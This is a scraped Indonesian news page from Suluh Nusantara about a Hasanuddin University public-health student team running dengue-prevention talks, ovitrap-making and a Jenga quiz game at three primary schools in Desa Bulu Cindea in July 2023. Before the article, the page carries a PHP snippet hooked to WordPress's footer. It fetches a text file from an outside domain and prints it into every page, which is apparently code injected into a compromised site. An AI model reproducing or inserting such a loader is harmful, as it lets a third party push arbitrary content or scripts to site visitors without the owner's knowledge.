function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Tim PPK ORMAWA BEM FKM Unhas Gelar Penyuluhan Pencegahan DBD dan Pembuatan Ovitrap - Suluh Nusantara

Home / Berita / Pendidikan / Regional

Sabtu, 22 Juli 2023 - 22:44 WIB

Tim PPK ORMAWA BEM FKM Unhas Gelar Penyuluhan Pencegahan DBD dan Pembuatan Ovitrap

Doc. PPK ORMAWA BEM FKM Unhas (Istimewa)

Doc. PPK ORMAWA BEM FKM Unhas (Istimewa)

Tim PPK ORMAWA BEM FKM Unhas mengadakan penyuluhan mengenai pencegahan DBD dan Pembuatan Ovitrap. Kegiatan tersebut dilakukan dalam meningkatkan pengetahuan dan kesadaran mengenai DBD dan melatih keterampilan dalam membuat ovitrap sebagai salah satu cara dalam mengatasi nyamuk penyebab DBD. Sasaran program kerja ini adalah siswa sekolah dasar.

Penyuluhan ini dilakukan selama 3 hari pada tanggal 20-22 Juli 2023 di 3 sekolah dasar di Desa Bulu Cindea, diantaranya SDN 33 Jollo pada hari Kamis (20/07/2023), SDN 20 Bujung Tangaya hari Jumat (21/07/2023), dan SDN 09 Bujung Tangaya hari Sabtu (22/07/2023) dengan sasaran siswa kelas 4-6. Dalam pelaksanaan kegiatan di SDN 20 Bujung Tangaya, penyuluhan dilakukan kolaborasi dengan mahasiswa KKN-PK.

Dalam penyuluhan tersebut, tim PPK Ormawa BEM FKM Unhas menjelaskan beberapa materi seperti pengertian DBD, gejala DBD, pencegahan DBD. Kegiatan dilanjutkan dengan pembuatan ovitrap. Ovitrap merupakan suatu perangkap nyamuk sederhana untuk tempat bertelur nyamuk aedes aegypti yang dapat dibuat dari barang bekas. Sehingga, pembuatan ovitrap dilaksanakan bagi siswa untuk meningkatkan keterampilan dan kemampuan bagi mereka dalam memanfaatkan barang bekas seperti botol bekas yang ada di sekitar rumah. . Seluruh siswa antusias dalam melakukan praktik pembuatan ovitrap.

Baca Juga  Mendukung Tercapainya Tujuan SDGs Ke-3, Mahasiswa PBL II FKM Unhas Lakukan Intervensi Mengenai Edukasi Pencegahan dan Pengendalian Vektor Lalat
Doc. Metode Permainan Jenga (Istimewa)

Tidak hanya melalui metode penyuluhan, Tim PPK Ormawa BEM FKM Unhas juga menyampaikan pesan promosi pencegahan DBD menggunakan metode permainan jenga. Permainan jenga dilakukan dengan membagi beberapa kelompok dan kegiatan diikuti secar aktif oleh siswa sekolah dasar dimana jenga tersebut berisikan pertanyaan seputar DBD dan cara pencegahannya. Selain itu, diumumkan siswa yang paling aktif dalam keikutsertaan kegiatan ini dan membagikan hadiah sebagai bentuk apresiasi. Permainan jenga diberikan kepada pihak sekolah agar dapat dimanfaatkan secara berkelanjutan.

Selain itu, kegiatan diakhiri dengan pemilihan Kader dan Duta Jumantik sebagai pemberdayaan pencegahan DBD sejak dini. Pemilihan ini berdasarkan siswa yang paling aktif dalam keikutsertaan selama berlangsungnya kegiatan ini. Diharapkan melalui kader dan duta Jumantik di sekolah-sekolah dasar dapat menjadi penggerak untuk melakukan penyuluhan dan pencegahan secara berkelanjutan di Desa Bulu Cindea.

Baca Juga  Penyuluhan Pentingnya Konsumsi TTD, Pembagian Kartu Kontrol TTD dan Pembentukan Kader TTD di Desa Panaikang sebagai Upaya Mendukung Tujuan SDGs ke Tiga

Tim PPK ORMAWA BEM FKM Unhas menyampaikan terima kasih kepada seluruh stakeholder yang berpartisipasi dalam menyukseskan kegiatan ini. Mereka berharap bahwa informasi yang disampaikan dapat meningkatkan pengetahuan dan keterampilan siswa sekolah dasar di Desa Bulu Cindea mengenai penyakit DBD dan pembuatan ovitrap yang dapat menjadi bekal kepada pada siswa sekolah dasar yang menjadi sasaran.

Penyuluhan dan permainan jenga mengenai pencegahan DBD di SDN 33 Jollo, SDN 20 Bujung Tangaya, dan SDN 09 Bujung Tangaya diharapkan menjadi langkah awal yang signifikan dalam meningkatkan pengetahuan mengenai penyakit DBD dan kemampuan dalam pembuatan ovitrap. Diharapkan juga siswa yang telah mengikuti kegiatan ini dapat  menyebarkan informasi yang telah didapatkan kepada teman sebayanya, juga dapat memanfaatkan botol bekas yang ada di sekitar rumah dalam pembuatan ovitrap yang bermanfaat bagi lingkungan sekitar. Serta dengan adanya Kader dan Duta Jumantik di setiap sekolah dapat menjadi penggerak bagi siswa lainnya dalam Pemberantasan Sarang Nyamuk (PSN) dalam upaya pencegahan DBD.

Share :

Baca Juga

Berita

Mahasiswa FKM Unhas Mengikuti Program Exchange Student di Okayama University, Japan

Berita

Universitas Hasanuddin Menggelar Kuliah Tamu Bertema “Ekuitas Termal: Perlunya Pendinginan yang Adil dan Inklusif Untuk Mengatasi Krisis Iklim di Perkotaan Asia Tenggara

Berita

Posko 28 PBL II FKM UNHAS Sukses Selenggarakan Seminar Akhir dengan Penayangan Video Edukasi Pencegahan HIV/AIDS

Berita

FKM Unhas Menggelar Acara Pelepasan Mahasiswa MBKM PMM Batch 4, MSIB Batch 6, dan KM batch 7 Tahun 2024

Berita

Mahasiswa PBL II FKM Unhas Mendorong Kesadaran Gizi Melalui Penyuluhan Tablet Tambah Darah (TTD) dalam Rangka Capai Target SDGs 2 dan 3 Tahun 2030

Berita

RS UNHAS Gelar Orientasi Peserta Didik Program Studi DIII Kebidanan STIKES Pelita Ibu Kendari: Membangun Generasi Bidan Milenial yang Siap Menghadapi Era 5.0

Berita

Posko 31 PBL FKM UNHAS Sukses Menggelar Penyuluhan Dan Pembagian Buku Saku Bahaya Pemberian MPASI Terlalu Dini

Berita

FKM Unhas Resmi Menyambut 215 Mahasiswa Baru Pascasarjana